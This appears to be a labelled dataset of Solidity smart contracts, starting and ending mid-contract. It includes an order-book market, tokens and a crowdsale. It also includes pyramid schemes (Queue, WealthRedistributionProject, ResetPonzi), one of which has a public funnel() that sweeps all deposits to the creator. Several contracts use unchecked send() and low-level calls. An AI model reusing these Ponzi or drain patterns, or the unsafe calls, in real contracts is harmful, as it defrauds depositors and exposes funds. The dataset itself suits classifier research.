bool public stopped;
modifier can_offer {
require(!isClosed());
_;
}
modifier can_buy(uint id) {
require(isActive(id));
require(!isClosed());
_;
}
modifier can_cancel(uint id) {
require(isActive(id));
require(isClosed() || (msg.sender == getOwner(id)));
_;
}
function ExpiringMarket(uint64 _close_time)
public
{
close_time = _close_time;
}
function isClosed() public constant returns (bool closed) {
return stopped || getTime() > close_time;
}
function getTime() public constant returns (uint64) {
return uint64(now);
}
function stop() public auth {
stopped = true;
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract MatchingEvents {
event LogBuyEnabled(bool isEnabled);
event LogMinSell(address pay_gem, uint min_amount);
event LogMatchingEnabled(bool isEnabled);
event LogUnsortedOffer(uint id);
event LogSortedOffer(uint id);
event LogAddTokenPairWhitelist(ERC20 baseToken, ERC20 quoteToken);
event LogRemTokenPairWhitelist(ERC20 baseToken, ERC20 quoteToken);
event LogInsert(address keeper, uint id);
event LogDelete(address keeper, uint id);
}
contract MatchingMarket is MatchingEvents, ExpiringMarket, DSNote {
bool public buyEnabled = true;
bool public matchingEnabled = true;
struct sortInfo {
uint next;
uint prev;
uint delb;
}
mapping(uint => sortInfo) public _rank;
mapping(address => mapping(address => uint)) public _best;
mapping(address => mapping(address => uint)) public _span;
mapping(address => uint) public _dust;
mapping(uint => uint) public _near;
mapping(bytes32 => bool) public _menu;
uint _head;
modifier isWhitelist(ERC20 buy_gem, ERC20 pay_gem) {
require(_menu[keccak256(buy_gem, pay_gem)] || _menu[keccak256(pay_gem, buy_gem)]);
_;
}
function MatchingMarket(uint64 close_time) ExpiringMarket(close_time) public {
}
function make(
ERC20 pay_gem,
ERC20 buy_gem,
uint128 pay_amt,
uint128 buy_amt
)
public
returns (bytes32)
{
return bytes32(offer(pay_amt, pay_gem, buy_amt, buy_gem));
}
function take(bytes32 id, uint128 maxTakeAmount) public {
require(buy(uint256(id), maxTakeAmount));
}
function kill(bytes32 id) public {
require(cancel(uint256(id)));
}
function offer(
uint pay_amt,
ERC20 pay_gem,
uint buy_amt,
ERC20 buy_gem
)
public
isWhitelist(pay_gem, buy_gem)
returns (uint)
{
var fn = matchingEnabled ? _offeru : super.offer;
return fn(pay_amt, pay_gem, buy_amt, buy_gem);
}
function offer(
uint pay_amt,
ERC20 pay_gem,
uint buy_amt,
ERC20 buy_gem,
uint pos
)
public
isWhitelist(pay_gem, buy_gem)
can_offer
returns (uint)
{
return offer(pay_amt, pay_gem, buy_amt, buy_gem, pos, false);
}
function offer(
uint pay_amt,
ERC20 pay_gem,
uint buy_amt,
ERC20 buy_gem,
uint pos,
bool rounding
)
public
isWhitelist(pay_gem, buy_gem)
can_offer
returns (uint)
{
require(_dust[pay_gem] <= pay_amt);
if (matchingEnabled) {
return _matcho(pay_amt, pay_gem, buy_amt, buy_gem, pos, rounding);
}
return super.offer(pay_amt, pay_gem, buy_amt, buy_gem);
}
function buy(uint id, uint amount)
public
can_buy(id)
returns (bool)
{
var fn = matchingEnabled ? _buys : super.buy;
return fn(id, amount);
}
function cancel(uint id)
public
can_cancel(id)
returns (bool success)
{
if (matchingEnabled) {
if (isOfferSorted(id)) {
require(_unsort(id));
} else {
require(_hide(id));
}
}
return super.cancel(id);
}
function insert(
uint id,
uint pos
)
public
returns (bool)
{
require(!isOfferSorted(id));
require(isActive(id));
require(pos == 0 || isActive(pos));
require(_hide(id));
_sort(id, pos);
LogInsert(msg.sender, id);
return true;
}
function del_rank(uint id)
public
returns (bool)
{
require(!isActive(id) && _rank[id].delb != 0 && _rank[id].delb < block.number - 10);
delete _rank[id];
LogDelete(msg.sender, id);
return true;
}
function addTokenPairWhitelist(
ERC20 baseToken,
ERC20 quoteToken
)
public
auth
note
returns (bool)
{
require(!isTokenPairWhitelisted(baseToken, quoteToken));
require(address(baseToken) != 0x0 && address(quoteToken) != 0x0);
_menu[keccak256(baseToken, quoteToken)] = true;
LogAddTokenPairWhitelist(baseToken, quoteToken);
return true;
}
function remTokenPairWhitelist(
ERC20 baseToken,
ERC20 quoteToken
)
public
auth
note
returns (bool)
{
require(isTokenPairWhitelisted(baseToken, quoteToken));
delete _menu[keccak256(baseToken, quoteToken)];
delete _menu[keccak256(quoteToken, baseToken)];
LogRemTokenPairWhitelist(baseToken, quoteToken);
return true;
}
function isTokenPairWhitelisted(
ERC20 baseToken,
ERC20 quoteToken
)
public
constant
returns (bool)
{
return (_menu[keccak256(baseToken, quoteToken)] || _menu[keccak256(quoteToken, baseToken)]);
}
function setMinSell(
ERC20 pay_gem,
uint dust
)
public
auth
note
returns (bool)
{
_dust[pay_gem] = dust;
LogMinSell(pay_gem, dust);
return true;
}
function getMinSell(
ERC20 pay_gem
)
public
constant
returns (uint)
{
return _dust[pay_gem];
}
function setBuyEnabled(bool buyEnabled_) public auth returns (bool) {
buyEnabled = buyEnabled_;
LogBuyEnabled(buyEnabled);
return true;
}
function setMatchingEnabled(bool matchingEnabled_) public auth returns (bool) {
matchingEnabled = matchingEnabled_;
LogMatchingEnabled(matchingEnabled);
return true;
}
function getBestOffer(ERC20 sell_gem, ERC20 buy_gem) public constant returns(uint) {
return _best[sell_gem][buy_gem];
}
function getWorseOffer(uint id) public constant returns(uint) {
return _rank[id].prev;
}
function getBetterOffer(uint id) public constant returns(uint) {
return _rank[id].next;
}
function getOfferCount(ERC20 sell_gem, ERC20 buy_gem) public constant returns(uint) {
return _span[sell_gem][buy_gem];
}
function getFirstUnsortedOffer() public constant returns(uint) {
return _head;
}
function getNextUnsortedOffer(uint id) public constant returns(uint) {
return _near[id];
}
function isOfferSorted(uint id) public constant returns(bool) {
return _rank[id].next != 0
|| _rank[id].prev != 0
|| _best[offers[id].pay_gem][offers[id].buy_gem] == id;
}
function sellAllAmount(ERC20 pay_gem, uint pay_amt, ERC20 buy_gem, uint min_fill_amount)
public
returns (uint fill_amt)
{
uint offerId;
while (pay_amt > 0) {
offerId = getBestOffer(buy_gem, pay_gem);
require(offerId != 0);
if (pay_amt * 1 ether < wdiv(offers[offerId].buy_amt, offers[offerId].pay_amt)) {
break;
}
if (pay_amt >= offers[offerId].buy_amt) {
fill_amt = add(fill_amt, offers[offerId].pay_amt);
pay_amt = sub(pay_amt, offers[offerId].buy_amt);
take(bytes32(offerId), uint128(offers[offerId].pay_amt));
} else {
var baux = rmul(pay_amt * 10 ** 9, rdiv(offers[offerId].pay_amt, offers[offerId].buy_amt)) / 10 ** 9;
fill_amt = add(fill_amt, baux);
take(bytes32(offerId), uint128(baux));
pay_amt = 0;
}
}
require(fill_amt >= min_fill_amount);
}
function buyAllAmount(ERC20 buy_gem, uint buy_amt, ERC20 pay_gem, uint max_fill_amount)
public
returns (uint fill_amt)
{
uint offerId;
while (buy_amt > 0) {
offerId = getBestOffer(buy_gem, pay_gem);
require(offerId != 0);
if (buy_amt * 1 ether < wdiv(offers[offerId].pay_amt, offers[offerId].buy_amt)) {
break;
}
if (buy_amt >= offers[offerId].pay_amt) {
fill_amt = add(fill_amt, offers[offerId].buy_amt);
buy_amt = sub(buy_amt, offers[offerId].pay_amt);
take(bytes32(offerId), uint128(offers[offerId].pay_amt));
} else {
fill_amt = add(fill_amt, rmul(buy_amt * 10 ** 9, rdiv(offers[offerId].buy_amt, offers[offerId].pay_amt)) / 10 ** 9);
take(bytes32(offerId), uint128(buy_amt));
buy_amt = 0;
}
}
require(fill_amt <= max_fill_amount);
}
function getBuyAmount(ERC20 buy_gem, ERC20 pay_gem, uint pay_amt) public constant returns (uint fill_amt) {
var offerId = getBestOffer(buy_gem, pay_gem);
while (pay_amt > offers[offerId].buy_amt) {
fill_amt = add(fill_amt, offers[offerId].pay_amt);
pay_amt = sub(pay_amt, offers[offerId].buy_amt);
if (pay_amt > 0) {
offerId = getWorseOffer(offerId);
require(offerId != 0);
}
}
fill_amt = add(fill_amt, rmul(pay_amt * 10 ** 9, rdiv(offers[offerId].pay_amt, offers[offerId].buy_amt)) / 10 ** 9);
}
function getPayAmount(ERC20 pay_gem, ERC20 buy_gem, uint buy_amt) public constant returns (uint fill_amt) {
var offerId = getBestOffer(buy_gem, pay_gem);
while (buy_amt > offers[offerId].pay_amt) {
fill_amt = add(fill_amt, offers[offerId].buy_amt);
buy_amt = sub(buy_amt, offers[offerId].pay_amt);
if (buy_amt > 0) {
offerId = getWorseOffer(offerId);
require(offerId != 0);
}
}
fill_amt = add(fill_amt, rmul(buy_amt * 10 ** 9, rdiv(offers[offerId].buy_amt, offers[offerId].pay_amt)) / 10 ** 9);
}
function _buys(uint id, uint amount)
internal
returns (bool)
{
require(buyEnabled);
if (amount == offers[id].pay_amt && isOfferSorted(id)) {
_unsort(id);
}
require(super.buy(id, amount));
return true;
}
function _find(uint id)
internal
view
returns (uint)
{
require( id > 0 );
address buy_gem = address(offers[id].buy_gem);
address pay_gem = address(offers[id].pay_gem);
uint top = _best[pay_gem][buy_gem];
uint old_top = 0;
while (top != 0 && _isPricedLtOrEq(id, top)) {
old_top = top;
top = _rank[top].prev;
}
return old_top;
}
function _findpos(uint id, uint pos)
internal
view
returns (uint)
{
require(id > 0);
while (pos != 0 && !isActive(pos)) {
pos = _rank[pos].prev;
}
if (pos == 0) {
return _find(id);
} else {
if(_isPricedLtOrEq(id, pos)) {
uint old_pos;
while (pos != 0 && _isPricedLtOrEq(id, pos)) {
old_pos = pos;
pos = _rank[pos].prev;
}
return old_pos;
} else {
while (pos != 0 && !_isPricedLtOrEq(id, pos)) {
pos = _rank[pos].next;
}
return pos;
}
}
}
function _isPricedLtOrEq(
uint low,
uint high
)
internal
view
returns (bool)
{
return mul(offers[low].buy_amt, offers[high].pay_amt)
>= mul(offers[high].buy_amt, offers[low].pay_amt);
}
function _matcho(
uint t_pay_amt,
ERC20 t_pay_gem,
uint t_buy_amt,
ERC20 t_buy_gem,
uint pos,
bool rounding
)
internal
returns (uint id)
{
uint best_maker_id;
uint t_buy_amt_old;
uint m_buy_amt;
uint m_pay_amt;
require(pos == 0
|| !isActive(pos)
|| t_buy_gem == offers[pos].buy_gem
&& t_pay_gem == offers[pos].pay_gem);
while (_best[t_buy_gem][t_pay_gem] > 0) {
best_maker_id = _best[t_buy_gem][t_pay_gem];
m_buy_amt = offers[best_maker_id].buy_amt;
m_pay_amt = offers[best_maker_id].pay_amt;
if (mul(m_buy_amt, t_buy_amt) > mul(t_pay_amt, m_pay_amt) +
(rounding ? m_buy_amt + t_buy_amt + t_pay_amt + m_pay_amt : 0))
{
break;
}
buy(best_maker_id, min(m_pay_amt, t_buy_amt));
t_buy_amt_old = t_buy_amt;
t_buy_amt = sub(t_buy_amt, min(m_pay_amt, t_buy_amt));
t_pay_amt = mul(t_buy_amt, t_pay_amt) / t_buy_amt_old;
if (t_pay_amt == 0 || t_buy_amt == 0) {
break;
}
}
if (t_buy_amt > 0 && t_pay_amt > 0) {
id = super.offer(t_pay_amt, t_pay_gem, t_buy_amt, t_buy_gem);
_sort(id, pos);
}
}
function _offeru(
uint pay_amt,
ERC20 pay_gem,
uint buy_amt,
ERC20 buy_gem
)
internal
returns (uint id)
{
require(_dust[pay_gem] <= pay_amt);
id = super.offer(pay_amt, pay_gem, buy_amt, buy_gem);
_near[id] = _head;
_head = id;
LogUnsortedOffer(id);
}
function _sort(
uint id,
uint pos
)
internal
{
require(isActive(id));
address buy_gem = address(offers[id].buy_gem);
address pay_gem = address(offers[id].pay_gem);
uint prev_id;
if (pos == 0 || !isOfferSorted(pos)) {
pos = _find(id);
} else {
pos = _findpos(id, pos);
require(offers[pos].pay_gem == offers[id].pay_gem
&& offers[pos].buy_gem == offers[id].buy_gem);
}
if (pos != 0) {
prev_id = _rank[pos].prev;
_rank[pos].prev = id;
_rank[id].next = pos;
} else {
prev_id = _best[pay_gem][buy_gem];
_best[pay_gem][buy_gem] = id;
}
if (prev_id != 0) {
_rank[prev_id].next = id;
_rank[id].prev = prev_id;
}
_span[pay_gem][buy_gem]++;
LogSortedOffer(id);
}
function _unsort(
uint id
)
internal
returns (bool)
{
address buy_gem = address(offers[id].buy_gem);
address pay_gem = address(offers[id].pay_gem);
require(_span[pay_gem][buy_gem] > 0);
require(_rank[id].delb == 0 &&
isOfferSorted(id));
if (id != _best[pay_gem][buy_gem]) {
require(_rank[_rank[id].next].prev == id);
_rank[_rank[id].next].prev = _rank[id].prev;
} else {
_best[pay_gem][buy_gem] = _rank[id].prev;
}
if (_rank[id].prev != 0) {
require(_rank[_rank[id].prev].next == id);
_rank[_rank[id].prev].next = _rank[id].next;
}
_span[pay_gem][buy_gem]--;
_rank[id].delb = block.number;
return true;
}
function _hide(
uint id
)
internal
returns (bool)
{
uint uid = _head;
uint pre = uid;
require(!isOfferSorted(id));
if (_head == id) {
_head = _near[id];
_near[id] = 0;
return true;
}
while (uid > 0 && uid != id) {
pre = uid;
uid = _near[uid];
}
if (uid != id) {
return false;
}
_near[pre] = _near[id];
_near[id] = 0;
return true;
}
} | 1 | 5,142 |
pragma solidity ^0.4.25;
contract Queue {
address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15;
address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf;
address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625;
address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b;
uint constant public PROMO_PERCENT = 2;
uint constant public BONUS_PERCENT = 3;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(block.number >= 6643235);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.05 ether && msg.value <= 10 ether);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PROMO_PERCENT/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT/100;
PROMO2.send(promo2);
uint promo3 = msg.value*PROMO_PERCENT/100;
PROMO3.send(promo3);
uint prize = msg.value*BONUS_PERCENT/100;
PRIZE.send(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = 120;
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 2,562 |
pragma solidity ^0.4.21;
library SafeMath
{
function mul(uint a, uint b) internal returns (uint)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint)
{
assert(b > 0);
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a < b ? a : b;
}
function assert(bool assertion) internal
{
if (!assertion)
{
throw;
}
}
}
contract ERC20Basic
{
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic
{
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic
{
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size)
{
if(msg.data.length < size + 4)
{
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance)
{
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20
{
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32)
{
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value)
{
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return allowed[_owner][_spender];
}
}
contract TUINETWORK is StandardToken
{
string public name = "TUINETWORK";
string public symbol = "TUI";
uint public decimals = 8 ;
uint public INITIAL_SUPPLY = 1680000000000000000;
uint public constant ALLOCATION_LOCK_END_TIMESTAMP = 1559347200;
address public constant TUI_ADDRESS = 0xCE08f414D107Fd863a3EAbb9817E6F85B81358ab;
uint public constant TUI_ALLOCATION = 1000000000000000000;
function TUINETWORK()
{
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply;
balances[msg.sender] -= TUI_ALLOCATION;
balances[TUI_ADDRESS] = TUI_ALLOCATION;
}
function isAllocationLocked(address _spender) constant returns (bool)
{
return inAllocationLockPeriod() && isTeamMember(_spender);
}
function inAllocationLockPeriod() constant returns (bool)
{
return (block.timestamp < ALLOCATION_LOCK_END_TIMESTAMP);
}
function isTeamMember(address _spender) constant returns (bool)
{
return _spender == TUI_ADDRESS ;
}
function approve(address spender, uint tokens)
{
if (isAllocationLocked(spender))
{
throw;
}
else
{
super.approve(spender, tokens);
}
}
function transfer(address to, uint tokens) onlyPayloadSize(2 * 32)
{
if (isAllocationLocked(to))
{
throw;
}
else
{
super.transfer(to, tokens);
}
}
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32)
{
if (isAllocationLocked(from) || isAllocationLocked(to))
{
throw;
}
else
{
super.transferFrom(from, to, tokens);
}
}
} | 1 | 3,027 |
pragma solidity ^0.4.11;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Renmin is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'Renmin0.2';
function Renmin(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = 10 ** 28;
totalSupply = 10 ** 28;
name = "Renmin";
decimals = 18;
symbol = "Renmin";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 5,437 |
contract WealthRedistributionProject {
struct BenefactorArray {
address etherAddress;
uint amount;
}
BenefactorArray[] public benefactor;
uint public balance = 0;
uint public totalBalance = 0;
function() {
enter();
}
function enter() {
if (msg.value != 1 ether) {
msg.sender.send(msg.value);
return;
}
uint transactionAmount;
uint k = 0;
uint total_inv = benefactor.length;
benefactor.length += 1;
benefactor[total_inv].etherAddress = msg.sender;
benefactor[total_inv].amount = msg.value;
balance += msg.value;
while (k<total_inv)
{
transactionAmount = msg.value * benefactor[k].amount / totalBalance;
benefactor[k].etherAddress.send(transactionAmount);
balance -= transactionAmount;
k += 1;
}
totalBalance += msg.value;
}
} | 0 | 1,423 |
contract ResetPonzi {
struct Person {
address addr;
}
struct NiceGuy {
address addr2;
}
Person[] public persons;
NiceGuy[] public niceGuys;
uint public payoutIdx = 0;
uint public currentNiceGuyIdx = 0;
uint public investor = 0;
address public currentNiceGuy;
address public beta;
function ResetPonzi() {
currentNiceGuy = msg.sender;
beta = msg.sender;
}
function() {
if (msg.value != 9 ether) {
throw;
}
if (investor > 8) {
uint ngidx = niceGuys.length;
niceGuys.length += 1;
niceGuys[ngidx].addr2 = msg.sender;
if (investor == 10) {
currentNiceGuy = niceGuys[currentNiceGuyIdx].addr2;
currentNiceGuyIdx += 1;
}
}
if (investor < 9) {
uint idx = persons.length;
persons.length += 1;
persons[idx].addr = msg.sender;
}
investor += 1;
if (investor == 11) {
investor = 0;
}
currentNiceGuy.send(1 ether);
while (this.balance >= 10 ether) {
persons[payoutIdx].addr.send(10 ether);
payoutIdx += 1;
}
}
function funnel() {
beta.send(this.balance);
}
} | 0 | 656 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract WhitelistedCrowdsale is Whitelist, Crowdsale {
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract CbntCrowdsale is TimedCrowdsale, WhitelistedCrowdsale {
using SafeMath for uint256;
struct FutureTransaction{
address beneficiary;
uint256 num;
uint32 times;
uint256 lastTime;
}
FutureTransaction[] public futureTrans;
uint256 public oweCbnt;
uint256[] public rateSteps;
uint256[] public rateStepsValue;
uint32[] public regularTransTime;
uint32 public transTimes;
uint256 public minInvest;
constructor(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, ERC20 _token) TimedCrowdsale(_openingTime,_closingTime) Crowdsale(_rate,_wallet, _token) public {
}
function triggerTransaction(uint256 beginIdx, uint256 endIdx) public returns (bool){
uint32 regularTime = findRegularTime();
require(regularTime > 0 && endIdx < futureTrans.length);
bool bRemove = false;
uint256 i = 0;
for(i = beginIdx; i<=endIdx && i<futureTrans.length; ){
bRemove = false;
if(futureTrans[i].lastTime < regularTime){
uint256 transNum = futureTrans[i].num;
address beneficiary = futureTrans[i].beneficiary;
futureTrans[i].lastTime = now;
